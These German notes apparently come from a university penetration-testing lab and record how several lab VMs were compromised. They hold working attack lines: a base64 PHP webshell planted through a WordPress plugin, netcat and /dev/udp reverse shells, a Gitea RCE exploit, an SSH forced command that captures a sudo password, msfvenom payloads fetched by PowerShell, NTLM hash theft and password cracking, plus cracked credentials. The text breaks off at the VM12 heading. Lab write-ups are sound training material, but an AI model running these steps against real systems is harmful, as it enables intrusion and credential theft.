---
# System prepended metadata

title: Pentesting Praktikum Notes

---

# Pentesting Praktikum Notes

## VM Übersicht

| Name     | IP         | OS      | Status | Report | Abschlussvortrag?
| -------- | --------   | ------- | ----   | ------ | ------ |
| *VM01* | *10.1.2.215* | *Ubuntu* | *Root ✅*| - | - |
| **VM02** | 10.1.2.222 | Ubuntu  | Root ✅| **11** | 10-2,11-2, 12-1 |
| **VM04** | 10.1.2.186 | Ubuntu  | Root ✅| **12** | 10-2, 12-0 |
| **VM05** | 10.1.2.134 | Windows 7| Root ✅| | |
| **VM06** | 10.1.2.160 | Windows 10| Root ✅| | |
| **VM07** | 10.1.2.237 | Windows 10| Root ✅| | 11-0 |
| **VM12** | 10.1.2.218 | Ubuntu  | Root ✅| **10** | 10-0,11-1,12-2 |
| **VM14** | 10.1.2.179 | Ubuntu  | Root ✅| | 10-1 |

* *Voting: Tragt einfach euer IP-Suffix in die Zelle ein, also "10,11" in einem Feld hieße, dass 10 und 11 dafür gestimmt haben. Tragt einfach eure Favoriten ein und dann sehen wir ja wie es am Besten passt.*
    * Mit -<prio> stärke der Präferenz markieren (0 = höchste Präferenz)
    * *(wie ich das so formuliere merke ich dass es mir eigentlich egal ist, solange ich nicht irgendwelche Metasploit-Module erklären muss)*
    * mir ist es eigentlich auch egal, vm2 würde schnell gehen, bei vm7 könnte man noch was über Chrome exploits lernen und haben wahrscheinlich nicht so viele, insgesamt gab es aber nicht so einen wirklich spannenden hack aber am ehesten vm12

## VM2
```
nmap -sC -sV -oA nmap 10.1.2.222
```
```
Nmap scan report for 10.1.2.222
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    4 ftp      ftp          4096 Jan 19  2020 backups
|_-rw-r--r--    1 ftp      ftp            17 Jan 19  2020 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.1.102.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c2:19:be:f6:56:32:89:c9:c6:e7:d5:02:25:12:ce:86 (RSA)
|   256 39:92:01:9c:a6:f5:7c:46:f4:69:34:f4:93:d0:0c:fe (ECDSA)
|_  256 5e:79:7d:61:ed:05:53:74:ea:ff:21:3b:be:97:7b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 4.6.17
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Wordpress Example Site &#8211; Just another WordPress site
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

* ftp 10.1.2.222
    * login anonymous, anonymous
```
ftp> ls
229 Entering Extended Passive Mode (|||40046|)
150 Here comes the directory listing.
drwxr-xr-x    4 ftp      ftp          4096 Jan 19  2020 backups
-rw-r--r--    1 ftp      ftp            17 Jan 19  2020 test.txt

```
* Download all `wget -m --no-passive ftp://anonymous:anonymous@10.1.2.222`
* `tree -a`
```
.
├── backups
│   ├── images
│   │   └── .listing
│   ├── keepass
│   │   ├── kp.kdbx
│   │   └── .listing
│   └── .listing
├── .listing
└── test.txt
```

 * keepass pw ist tokiohotel

```
$ keepass2john kp.kdbx > hash
$ john hash  
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 12 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 12 needed for performance.
Warning: Only 9 candidates buffered for the current salt, minimum 12 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 12 needed for performance.
Warning: Only 8 candidates buffered for the current salt, minimum 12 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 6 candidates buffered for the current salt, minimum 12 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
tokiohotel       (kp)
1g 0:00:00:06 DONE 2/3 (2022-05-09 15:02) 0.1538g/s 486.3p/s 486.3c/s 486.3C/s chacha..marcos
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
![](https://i.imgur.com/2r47cHy.png)


* `System Accounts > alice`: alice bXijFex5g (geht nicht bei ssh, aber mit `su`)
* `Wordpress acounts > Wordpress Admin`: user_wordpress 9MSboM3g4WeCS0Na(H
* Wordpress als Admin anmelden
    * Es gibt ein installiertes Plugin "Hello Dolly", php code davon kann editiert werden
    * `file_put_contents('/var/www/wordpress/wp-admin/shell.php', base64_decode('PD9waHAKZWNobyBzaGVsbF9leGVjKCRfR0VUWydhJ10pOwo='));` hinzufügen, wird bei jedem aufruf ausgeführt. Danach wieder askommentiert
* Webshell: `http://justanotherwordpresssite./wp-admin/shell.php?a=ls`
* rev-shell mit `sh -i >& /dev/udp/10.0.0.1/4242 0>&1`
    * `http://10.1.2.222/wp-admin/shell.php?a=rm%20-f%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|%2Fbin%2Fsh%20-i%202%3E%261|nc%2010.1.102.11%204242%20%3E%2Ftmp%2Ff`
        * + ip ändern
    * und dann `nc -lvnp 4242`
    * socat ist installiert: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

* `su alice` klappt mit pw aus keepass
    * Flag
    * FLAG{GKxGzUra8yartLoYMhBbAZJZiYzi9cnGNhBpXl02wMCJkhSf9g}
* Bekomme ssh key auth irgendwie nicht zum laufen
* lokaler python server mit linpeas.sh aufgemacht
* hab nichts offenslichliches für ein privesc gefunden, vlt. ist aber am Schluss sowas wie Passwörter bruteforcen
* Mutmaßlich angedachte privesc: es gibt ein Verzeichnis `/opt/server_scripts` mit einer setuid binary samt quellcode und python script
```
www-data@justanotherwordpresssite:/opt/server_scripts$ ls -lh
total 20K
-rwsrwsr-x 1 root user 8.2K Mar 24  2020 start_useless
-rw-r--r-- 1 root root  170 Mar 24  2020 start_useless.c
-rwSr--r-- 1 root root  231 Mar 24  2020 useless.py
```
```
alice@justanotherwordpresssite:/opt/server_scripts$ cat start_useless.c 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main () {
        setuid(0);
        system("/usr/bin/python3 /opt/server_scripts/useless.py");
}
```
```
alice@justanotherwordpresssite:/opt/server_scripts$ cat useless.py 
#!/usr/bin/python3

import os


#edit this super fancy script later !
#maybe add something usefull...
def sUpErFancYScriPT():
    print(os.system("whoami"))
    print("Hello there!")
    #os.system('/bin/bash')

sUpErFancYScriPT()
```

* Binary ist schreibbar für group --> wenn man entsprechenden `user` hat, kann man den String in der `start_useless` Binary patchen
* Kann man whoami austauschen? --> JA
    * `export PATH=/home/alice/scripts:$PATH`
    * Bash-Script `whoami` in /home/alice/scripts angelegt mit einzigem Befehl `/bin/bash`
    * `start_useless` ausgeführt -> **root** ✅

![](https://i.imgur.com/VX3mM6j.png)

*Habe alle mir bekannten SSH Pubkeys von euch den authorized_keys von root hinzugefügt, müsstet per ssh als root reinkommen, falls jemand noch was nachschauen will.*


## VM4
Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-89-generic x86_64)
```
# Nmap 7.92 scan initiated Mon May  9 12:04:08 2022 as: nmap -sV -sC -p- -o VM04/nmap 10.1.2.186
Nmap scan report for 10.1.2.186
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 60:42:65:48:97:42:c3:ce:52:c1:4f:d1:86:9d:09:d1 (RSA)
|   256 a5:2b:62:5b:bb:95:f1:04:df:fa:15:f5:c6:fb:0f:21 (ECDSA)
|_  256 e7:52:3d:73:51:68:4f:09:bf:76:b6:0a:45:eb:ff:38 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=788f3773d8b97adb; Path=/; HttpOnly
|     Set-Cookie: _csrf=DNcD3xet9_IBDoUB_8IXCHCnqSo6MTY1MjExMjczNTczNDMyMjU3OQ; Path=/; Expires=Tue, 10 May 2022 16:12:15 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 09 May 2022 16:12:15 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=0aae12eab46366e3; Path=/; HttpOnly
|     Set-Cookie: _csrf=-NZ0Y2Jo2sWDqm_9zHjdqk5MFZ06MTY1MjExMjc0MDkxNDQxODQ5Mw; Path=/; Expires=Tue, 10 May 2022 16:12:20 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 09 May 2022 16:12:20 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data [...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
* Habe einen Account auf dem Gittea angelegt
    * bla (bla@bla.invalid), Hallo123!
* Unter explore gibt es
    * http://10.1.2.186:3000/Acid_Burn/woerdpress
        * http://10.1.2.186:3000/Acid_Burn/woerdpress/commit/249693fadd6a175291a132d06dca8749c6f11cdc
    * http://10.1.2.186:3000/Acid_Burn/smtp_attacker
        * http://10.1.2.186:3000/Acid_Burn/smtp_attacker/commit/08e1769b3b52b7f7a5ad9f887a8b1a644fc19143
    * Es gibt auch den user http://10.1.2.186:3000/Crash_Override
* Läuft der Wördpresscode auf der anderen VM? http://10.1.2.218/
* Laut Fußzeile ist die Gitea-Version 1.12.5, welche prinzipiell für diese Vuln anfällig ist (Post-Hook): https://www.exploit-db.com/exploits/49571
(die wurde von Niklas Goerke gefunden, also vermutlich läufts darauf hinaus :) https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/). Der Exploit findet sich auch lokal über `searchsploit`, lässt sich prinzipiell aber auch leicht manuell auslösen (post-hook in der Web-GUI anlegen und dann irgendwas ins Repo pushen)
* Post-Hooks scheinen aber für unseren User `bla` deaktiviert zu sein. Eventuell kann man an einen User rankommen, der diese Rechte hat?
    * Freundlicherweise hat uns `Acid_Burn` sein Gitea-Passwort `n/Gncx0G3LlFy1Q0nTuo1UTesWfOWNoW` in seinem Repo überlassen (siehe sein neuestes Commit). Ausführen des o.g. Exploits mit einer Reverse-Shell als Payload gibt uns den user `git`.
        * `gitea_exploit.py -v -t http://10.1.2.186:3000 -u Acid_Burn -p n/Gncx0G3LlFy1Q0nTuo1UTesWfOWNoW -f payload.sh`
* LinEnum.sh ausgeführt, beim schnellen Durchsehen nichts direkt auffälliges gesehen
* User `zero_cool` besitzt die User-Flag
* Ein weiterer user `phantom_phreak` besitzt ein `check-status.bash`-Skript in seinem Home-Directory, auf das aber nur er Zugriff hat.  Das Skript wird wohl minütlich ausgeführt (mehr infos dazu unten)
`May 12 20:03:01 githappens CRON[317121]: (phantom_phreak) CMD (/bin/bash /home/phantom_phreak/check-status.bash)`
* `/etc/gitea/app.ini` ist schreibbar (entgegen der Empfehlung des Gitea-Handbuchs). Wenn man den `RUN_USER` zu irgendwas anderem als `git` ändert, funktioniert der Exploit aber nicht mehr weil die Hooks rejected werden (vermutlich weil der Process weiterhin als `git` läuft, da müsste man im Zweifel schon den Daemon/Server neustarten können?):
    > RUN_USER: git: The user Gitea will run as. This should be a dedicated system (non-user) account. Setting this incorrectly will cause Gitea to not start.
* `/etc/systemd/system/gitea.service` ist ebenfalls schreibbar und enthält Zeilen für user und group. Ich kenne aber keinen Weg, systemd unprivilegiert zum Neuladen des Unit-Files zu zwingen.
* gitea kann neugestartet werden über `killall -1 gitea` (wird so sogar vom Handbuch vorgeschlagen)
* SQL Datenbank `/var/lib/gitea/data/gitea.db` bearbeitet, sodass das private Repo von `crash_override` sichtbar wird --> Das Repo gehört Zero Cool, dem Flag-User. Im Repo befinden sich diverse dotfiles, aber auch sein .ssh private Key -> user erhalten.
* crash_override passwort
    * hash 8137baac048b5887c946cc82a42781f80d1da670aedd9c600d1c2a040a4ccf3aaea0a73fd24e41d040dea7504f7dfa821326
    * salt LrV53BMJt1
* **wieder unsere ssh-pub keys hinterlegt `ssh zero_cool@10.1.2.186`**
* `phantom_phreak` hat seinen Pub-Key bei Zero-Cool hinterlegt. Er interessiert sich wohl sehr für `zero_cool`'s Aktivitäten



```
May 12 20:13:01 githappens CRON[317675]: pam_unix(cron:session): session opened for user phantom_phreak by (uid=0)
May 12 20:13:01 githappens sshd[317680]: Accepted publickey for zero_cool from ::1 port 50644 ssh2: RSA SHA256:ELmasH4vXjEPxcpLJUePoCB2a1fbfk60rg2WYwVu9mw
May 12 20:13:01 githappens sshd[317680]: pam_unix(sshd:session): session opened for user zero_cool by (uid=0)
May 12 20:13:01 githappens systemd-logind[380]: New session 14420 of user zero_cool.
May 12 20:13:01 githappens sudo: zero_cool : TTY=unknown ; PWD=/home/zero_cool ; USER=root ; COMMAND=/usr/bin/ps aux
May 12 20:13:01 githappens sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
May 12 20:13:01 githappens sudo: pam_unix(sudo:session): session closed for user root
May 12 20:13:01 githappens sshd[317711]: Received disconnect from ::1 port 50644:11: disconnected by user
May 12 20:13:01 githappens sshd[317711]: Disconnected from user zero_cool ::1 port 50644
May 12 20:13:01 githappens sshd[317680]: pam_unix(sshd:session): session closed for user zero_cool
May 12 20:13:01 githappens CRON[317675]: pam_unix(cron:session): session closed for user phantom_phreak
May 12 20:13:01 githappens systemd-logind[380]: Session 14420 logged out. Waiting for processes to exit.
May 12 20:13:01 githappens systemd-logind[380]: Removed session 14420.
```

```
zero_cool@githappens:/tmp$ id
uid=1000(zero_cool) gid=1000(zero_cool) groups=1000(zero_cool),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare)
```
* LinPeas schlägt den *Baron Samedit* Exploit als *probable* vor, die Vulnerability scheint aber auf der VM gepatcht zu sein.
* `command="/home/zero_cool/ssh-log.py"` vor den SSH-key von phantom... schreiben. Logt die sudo pw pipe

```python

#!/usr/bin/env python3

import sys

print("[sudo] password for zero_cool: ")
i = input()

f = open("/tmp/ssh.log", "a")
f.writelines(i)
f.writelines(sys.argv)
f.close()
```

Sudo pw ist `dA0LAIyevG+I+2NBZqomq66yQIxIqgCv`

## VM5
```
# Nmap 7.92 scan initiated Mon May  9 12:05:46 2022 as: nmap -sV -sC -p- -o VM05/nmap 10.1.2.134
Nmap scan report for 10.1.2.134
Host is up (0.020s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-JOHN
|   NetBIOS_Domain_Name: DESKTOP-JOHN
|   NetBIOS_Computer_Name: DESKTOP-JOHN
|   DNS_Domain_Name: DESKTOP-John
|   DNS_Computer_Name: DESKTOP-John
|   Product_Version: 6.1.7601
|_  System_Time: 2022-05-09T17:15:15+00:00
| ssl-cert: Subject: commonName=DESKTOP-John
| Not valid before: 2022-05-08T13:21:08
|_Not valid after:  2022-11-07T13:21:08
|_ssl-date: 2022-05-09T17:15:24+00:00; +1h07m51s from scanner time.
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: DESKTOP-JOHN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-05-09T17:15:16
|_  start_date: 2022-05-09T13:21:01
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: DESKTOP-John
|   NetBIOS computer name: DESKTOP-JOHN\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-05-09T19:15:18+02:00
|_clock-skew: mean: 43m51s, deviation: 53m38s, median: 1h07m50s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  9 12:07:34 2022 -- 1 IP address (1 host up) scanned in 107.83 seconds
```

```
$ impacket-rpcdump @10.1.2.134 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol 
```

* Es sind smb shares offen
```
$ smbclient -N -L //10.1.2.134  

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remoteverwaltung
        C$              Disk      Standardfreigabe
        IPC$            IPC       Remote-IPC
        Share           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.1.2.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

* Verbinden mit `smbclient //10.1.2.134/Share` und keinem Passwort
```
smb: \> ls
  .                                   D        0  Sun Sep 20 06:10:04 2020
  ..                                  D        0  Sun Sep 20 06:10:04 2020
  fleetingDump.tar.gz                 A 414193102  Fri Sep 18 13:20:15 2020
```
* mit `get get fleetingDump.tar.gz` kann man das runterladen
    * Ist einen halben GB groß
* ist ein win7Dump.raw drin
* Ist ein Dump des gesamten Systems, den man sich mit volatility anschauen kann z.B.
```
vol.py -f win7Dump.raw windows.pstree.PsTree
```
* Die Passworthashes:
```
~/localTools/volatility3-1.0.0/vol.py -f win7Dump.raw windows.hashdump.Hashdump        
Volatility 3 Framework 1.0.0
Progress:  100.00               PDB scanning finished                     
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Gast    501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
John    1000    aad3b435b51404eeaad3b435b51404ee        f35ecf58b53feee34f3bbc1c975a861d
```

`hash.txt`:

```
John:1000:aad3b435b51404eeaad3b435b51404ee:f35ecf58b53feee34f3bbc1c975a861d:::
```

```
$ john --format=NT --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
YZrfw3c          (John)
1g 0:00:00:00 DONE (2022-05-13 14:54) 1.086g/s 11387Kp/s 11387Kc/s 11387KC/s Ya2525..YYOLANDA
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
```
* GUI-Login mit Remmina
    * User John
    * Passwort YZrfw3c
    * Domain WORKGROUP
* Meterpreter Session aufgemacht, ist relativ langsam. Details:
    * `msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.102.XX lport=1338 -f exe -o reverse_tcp.exe`
    * Auf Victim runtergeladen mit `(New-Object Net.Webclient).downloadFile('http://10.1.102.XX:8000/reverse_tcp.exe', "rctp.exe")` und ausgeführt
* Exploit Suggester rennen lassen (braucht ziemlich lange, nach 3 Suggestions erstmal abgebrochen)
    * Schlägt u.a. `windows/local/always_install_elevated` vor
    * Diesen Exploit ausgeführt (keine besondere Config notwendig, nur Session, LHOST und LPORT) -> Root

## VM6
```
# Nmap 7.92 scan initiated Mon May  9 12:07:34 2022 as: nmap -sV -sC -p- -o VM06/nmap 10.1.2.160
Nmap scan report for 10.1.2.160
Host is up (0.031s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: SAFEQUANTUMLINK
|   NetBIOS_Domain_Name: SAFEQUANTUMLINK
|   NetBIOS_Computer_Name: SAFEQUANTUMLINK
|   DNS_Domain_Name: SAFEQUANTUMLINK
|   DNS_Computer_Name: SAFEQUANTUMLINK
|_  Product_Version: 10.0.18362
|_ssl-date: 2022-05-09T16:18:37+00:00; +7m52s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-05-09T13:23:16
|_Not valid after:  2052-05-09T13:23:16
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-05-09T16:18:37+00:00; +7m53s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: SAFEQUANTUMLINK
|   NetBIOS_Domain_Name: SAFEQUANTUMLINK
|   NetBIOS_Computer_Name: SAFEQUANTUMLINK
|   DNS_Domain_Name: SAFEQUANTUMLINK
|   DNS_Computer_Name: SAFEQUANTUMLINK
|   Product_Version: 10.0.18362
|_  System_Time: 2022-05-09T16:18:22+00:00
| ssl-cert: Subject: commonName=SAFEQUANTUMLINK
| Not valid before: 2022-05-08T13:23:03
|_Not valid after:  2022-11-07T13:23:03
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-05-09T16:18:27
|_  start_date: N/A
|_clock-skew: mean: 7m52s, deviation: 0s, median: 7m52s
| ms-sql-info: 
|   10.1.2.160:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  9 12:10:46 2022 -- 1 IP address (1 host up) scanned in 191.92 seconds
```
* Verbindung auf `smbclient //10.1.2.160/Users` möglich (kein PW)
* Liegt eine `Desktop.ini` sowie die Ordner `Default` und `dbuser` drin
* Angefangen, `dbuser` runterzuladen
```
> get dbuser
> prompt
> recurse
> mget dbuser
```
* Enthält im Dokumentenordner einen gezippten mbox-File, darin ein Passwort
(*just to remind me of my win auth password*): `dbuser:MkQuJppKJ0`
* Was auch noch ins Auge springt ist der Ordner `MicrosoftEdgeBackups`, u.a. scheint ein Cookie-Storage drin zu sein (wird sich als irrelevant herausstellen)
* Habs bisher nicht geschafft mit Remmina zu connecten - das Passwort scheint gültig zu sein, bekomme aber sowohl für Workgroup `WORKGROUP` als auch `SAFEQUANTUMLINK` ein *Cannot connect to the RDP Server*
    * Verbindung in Remmina angelegt und unter Advanced explizit TLS gesetzt (statt negotiate)
    * Verbindung geht jetzt durch, aber bekomme die Meldung, dass dbuser keine Berechtigung besitzt, sich mit RDP einzuloggen
    * Alterative zu Remmina: `rdesktop -d SAFEQUANTUMLINK -u dbuser -p MkQuJppKJ0 10.1.2.160` geht ohne weitere Config

**Ab diesem Punkt quasi alles in Metasploit** (mit USE_WINDOWS_AUTHENT und entsprechendem User/Password):
* `admin/mssql/mssql_enum` laufen lassen.Nichts spannendes gefunden, außer SQL Version:
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
Sep 24 2019 13:48:23 
    * Exploits gegen mssql, die per xp_cmdshell versuchen Code-Execution zu bekommen, haben nicht funktioniert
* Mit `auxiliary/admin/mssql/mssql_ntlm_stealer` und `server/capture/smb` folgenden hash geklaut:
 
```
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 10.1.2.160
[SMB] NTLMv2-SSP Username   : SAFEQUANTUMLINK\jack
[SMB] NTLMv2-SSP Hash       : jack::SAFEQUANTUMLINK:95f58334273fcab6:687cf67e7f4e31449af2e6cd1866d35f:0101000000000000804f2524f968d8014d6e3dc9136a21b70000000002001e0053004100460045005100550041004e00540055004d004c0049004e004b0001001e0053004100460045005100550041004e00540055004d004c0049004e004b0004001e0053004100460045005100550041004e00540055004d004c0049004e004b0003001e0053004100460045005100550041004e00540055004d004c0049004e004b0007000800804f2524f968d801060004000200000008003000300000000000000000000000003000006ddba0c7bf2dc8252ad3c8b7aa9ae2b2b0f22105540fe031f23ff5ad4b65bbee0a001000000000000000000000000000000000000900200063006900660073002f00310030002e0031002e003100300032002e00310030000000000000000000
```
Mit `john` den Hash geknackt: `jack:california` --> auch nicht RDP-berechtigt

* mit `windows/mssql/mssql_payload`, den neuen Creds und Reverse-Shell-Payload User erhalten (ging zuvor mit den Creds von dbuser nicht) -> pin2web scheinbar falsch konfiguriert, akzeptiert Jack's Flag im Root- statt im Userfeld
* Meterpreter konnte mit `getsystem` aber direkt auf System upgraden
* Userflag war im Verzeichnis `C:\Users\John\Desktop` (Jack hatte keinen Zugriff auf John)
* Bevor ich disconnecte noch RDP für alle bekannte User mit `net localgroup "Remote Desktop Users" <username> /add` aktiviert
* Passwort von John überschrieben `john:password`

## VM7
Keine Ergebnisse, kein Ping, auch mit `-Pn` oder nach Reset nicht
```
# Nmap 7.92 scan initiated Mon May  9 12:10:46 2022 as: nmap -sV -sC -p- -o VM07/nmap 10.1.2.237
# Nmap done at Mon May  9 12:10:49 2022 -- 1 IP address (0 hosts up) scanned in 3.33 seconds
```

Macht jede Minute einen `GET` Aufruf an VM04. Auszug `/var/log/syslog` VM04:
```
May 13 08:52:03 githappens gitea[296865]: [Macaron] 2022-05-13 08:52:03: Started GET / for 10.1.2.237
May 13 08:52:03 githappens gitea[296865]: [Macaron] 2022-05-13 08:52:03: Completed GET / 200 OK in 3.975932ms
```

```
systemctl stop gitea.service
zero_cool@githappens:~$ nc -l 3000
GET / HTTP/1.1
Host: githappens.:3000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lang=en-US; i_like_gitea=539056ba6cd0beef; _csrf=8-u6mNZSuGXKKvyqkyy1xlLtl-s6MTY1NzcxNjk3MTY3ODA0MzYwMQ
```

PWN mit metasploit

```
$ ssh -R 0.0.0.0:4444:VPN_IP:4444 zero_cool@10.1.2.186
$ ssh -R 0.0.0.0:3000:VPN_IP:8080 zero_cool@10.1.2.186
$ msfconsole
> use exploit/multi/browser/chrome_jscreate_sideeffect
> set LHOST 10.1.2.186
> set ReverseListenerBindAddress 0.0.0.0
> set URIPATH /
> exploit
> session -i 1
# ps | grep explorer
# migrate PID
```

`post/multi/recon/local_exploit_suggester` und alles draufschmeißen + `getsystem` für root
    
```
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)). 
```

## VM12
```
